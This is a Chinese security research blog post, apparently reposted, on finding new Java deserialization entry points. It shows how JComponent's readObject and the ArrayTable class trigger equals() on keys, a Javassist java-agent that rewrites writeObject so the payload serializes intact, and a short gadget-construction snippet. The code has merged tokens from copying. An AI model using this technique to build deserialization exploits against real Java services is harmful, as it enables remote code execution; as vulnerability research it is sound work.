前言
分享下最近Java GC检测工作的相关收获(其实也是为了证明某些链不是误报而绞尽脑汁,主要依靠Java的动态Agent技术修改writeObject流程
好用的ArrayTable
你是否还在为了想用HashMap触发equals方法而为hashCode所困?那么JComponent这个类就可以帮到你。
我们看一下这个类的readObject方法:
privatevoidreadObject(ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
/* If there's no ReadObjectCallback for this stream yet, that is, if
* this is the first call to JComponent.readObject() for this
* graph of objects, then create a callback and stash it
* in the readObjectCallbacks table. Note that the ReadObjectCallback
* constructor takes care of calling s.registerValidation().
*/
ReadObjectCallbackcb= readObjectCallbacks.get(s);
if (cb == null) {
try {
readObjectCallbacks.put(s, cb = newReadObjectCallback(s));
}
catch (Exception e) {
thrownewIOException(e.toString());
}
}
cb.registerComponent(this);
// Read back the client properties.
int cpCount = s.readInt();
if (cpCount > 0) {
clientProperties = new ArrayTable();
for (int counter = 0; counter < cpCount; counter++) {
clientProperties.put(s.readObject(),
s.readObject());
}
}
if (getToolTipText() != null) {
ToolTipManager.sharedInstance().registerComponent(this);
}
setWriteObjCounter(this, (byte)0);
}
其也是循环的读取键值对,然后调用放入到ArrayTable中,我们看看ArrayTable的put方法:
publicvoidput(Object key, Object value){
if (table==null) {
table = newObject[] {key, value};
} else {
int size = size();
if (size < ARRAY_BOUNDARY) { // We are an array
if (containsKey(key)) {
Object[] tmp = (Object[])table;
for (int i = 0; i<tmp.length-1; i+=2) {
if (tmp[i].equals(key)) {
tmp[i+1]=value;
break;
}
}
} else {
Object[] array = (Object[])table;
int i = array.length;
Object[] tmp = new Object[i+2];
System.arraycopy(array, 0, tmp, 0, i);
tmp[i] = key;
tmp[i+1] = value;
table = tmp;
}
} else { // We are a hashtable
if ((size==ARRAY_BOUNDARY) && isArray()) {
grow();
}
((Hashtable<Object,Object>)table).put(key, value);
}
}
}
如果containsKey的话则会触发equals比较,那我们先看看containsKey怎么做的:
publicbooleancontainsKey(Object key) {
boolean contains = false;
if (table !=null) {
if (isArray()) {
Object[] array = (Object[])table;
for (int i = 0; i<array.length-1; i+=2) {
if (array[i].equals(key)) {
contains = true;
break;
}
}
} else {
contains = ((Hashtable)table).containsKey(key);
}
}
return contains;
}
emm,直接就是key的比较,OK,大功告成(不是
其实如果你这么构造一下POC的话,你就会发现在writeObject提前触发了equals方法,所以导致最后无法利用
privatevoidwriteObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
if (getUIClassID().equals(uiClassID)) {
byte count = JComponent.getWriteObjCounter(this);
JComponent.setWriteObjCounter(this, --count);
if (count == 0 && ui != null) {
ui.installUI(this);
}
}
ArrayTable.writeArrayTable(s, clientProperties);
}
主要在writeArrayTable方法中:
staticvoidwriteArrayTable(ObjectOutputStream s, ArrayTable table)throws IOException {
Object keys[];
if (table == null || (keys = table.getKeys(null)) == null) {
s.writeInt(0);
}
else {
intvalidCount=0;
for (intcounter=0; counter < keys.length; counter++) {
Objectkey= keys[counter];
/* include in Serialization when both keys and values are Serializable */
if ( (key instanceof Serializable
&& table.get(key) instanceof Serializable)
||
/* include these only so that we get the appropriate exception below */
(key instanceof ClientPropertyKey
&& ((ClientPropertyKey)key).getReportValueNotSerializable())) {
validCount++;
} else {
keys[counter] = null;
}
}
// Write ou the Serializable key/value pairs.
s.writeInt(validCount);
if (validCount > 0) {
for (Object key : keys) {
if (key != null) {
s.writeObject(key);
s.writeObject(table.get(key));
if (--validCount == 0) {
break;
}
}
}
}
}
}
可以看到是按pair写入的,主要问题在于table.get方法:
publicObjectget(Object key) {
Object value = null;
if (table !=null) {
if (isArray()) {
Object[] array = (Object[])table;
for (int i = 0; i<array.length-1; i+=2) {
if (array[i].equals(key)) {
value = array[i+1];
break;
}
}
} else {
value = ((Hashtable)table).get(key);
}
}
return value;
}
这里触发了key的equals方法,所以有什么办法吗,我们看这个ArrayTable类的table属性其实可以为Object数组,那我们直接模仿逻辑挨个写入也可以把,因此我就用到了Java动态Agent技术修改其writeObject流程,具体代码如下:
publicbyte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, finalbyte[] classfileBuffer) {
if (className.equals("javax/swing/JComponent")) {
try {
ClassPoolclassPool= ClassPool.getDefault();
CtClassjClazz= classPool.get("javax.swing.JComponent");
CtMethodw= jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");
StringmethodBody="{" +
"$1.defaultWriteObject();" +
"$1.writeInt(2);" +
"try {" +
"Class clz = $0.clientProperties.getClass();" +
"java.lang.reflect.Field field = clz.getDeclaredField("table");" +
"field.setAccessible(true);" +
"Object[] table = (Object[]) field.get($0.clientProperties);" +
"for (int i = 0; i < 4; i++) {" +
"$1.writeObject(table[i]);" +
"}" +
"}" +
"catch (Exception ex) {}" +
"}";
w.setBody(methodBody);
byte[] byteCode = jClazz.toBytecode();
jClazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
returnnull;
}
因此最后的Source Gadget就可以这么写(加上javaagent
JPanel j = newJPanel();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);
Object[] table = newObject[]{o1, "1", o2, "2"};
ReflectionUtil.setField(arrayTable, "table", table);
ReflectionUtil.setField(j, "clientProperties", arrayTable);
SerializeUtil.deserialize(SerializeUtil.serialize(j));
类似的还有比如AbstractAction,actionMap等,其都是用到了ArrayTable类,这里就不具体分析了,当然还有一些能触发动态代理的入口,不过一般也没什么用,这里也就不写了,期待大家也可以发现更多。
【来源】:https://xz.aliyun.com/t/15807?time__1311=GqjxnDgDyD27GQD%2FD0eO30QByw%3D7NTsF4D
原文始发于微信公众号(船山信安):基于动态Agent挖掘更多的反序列化入口
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论